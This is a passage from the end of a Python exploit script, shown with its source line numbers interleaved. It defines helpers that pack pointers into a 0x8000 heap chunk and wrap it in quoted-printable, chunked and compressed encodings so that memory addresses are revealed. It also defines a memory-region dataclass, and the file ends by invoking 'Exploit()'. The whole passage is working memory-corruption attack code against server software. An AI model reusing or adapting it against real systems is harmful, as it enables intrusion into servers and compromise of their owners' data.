    """Emulates quoted-printable-encode.
531
    """
532
    return "".join(f"={x:02x}" for x in data).upper().encode()
533

534

535
def ptr_bucket(*ptrs, size=None) -> bytes:
536
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
537
    if size is not None:
538
        assert len(ptrs) * 8 == size
539
    bucket = b"".join(map(p64, ptrs))
540
    bucket = qpe(bucket)
541
    bucket = chunked_chunk(bucket)
542
    bucket = chunked_chunk(bucket)
543
    bucket = chunked_chunk(bucket)
544
    bucket = compressed_bucket(bucket)
545

546
    return bucket
547

548

549
def chunked_chunk(data: bytes, size: int = None) -> bytes:
550
    """Constructs a chunked representation of the given chunk. If size is given, the
551
    chunked representation has size `size`.
552
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
553
    """
554
    # The caller does not care about the size: let's just add 8, which is more than
555
    # enough
556
    if size is None:
557
        size = len(data) + 8
558
    keep = len(data) + len(b"\n\n")
559
    size = f"{len(data):x}".rjust(size - keep, "0")
560
    return size.encode() + b"\n" + data + b"\n"
561

562

563
@dataclass
564
class Region:
565
    """A memory region."""
566

567
    start: int
568
    stop: int
569
    permissions: str
570
    path: str
571

572
    @property
573
    def size(self) -> int:
574
        return self.stop - self.start
575

576

577
Exploit()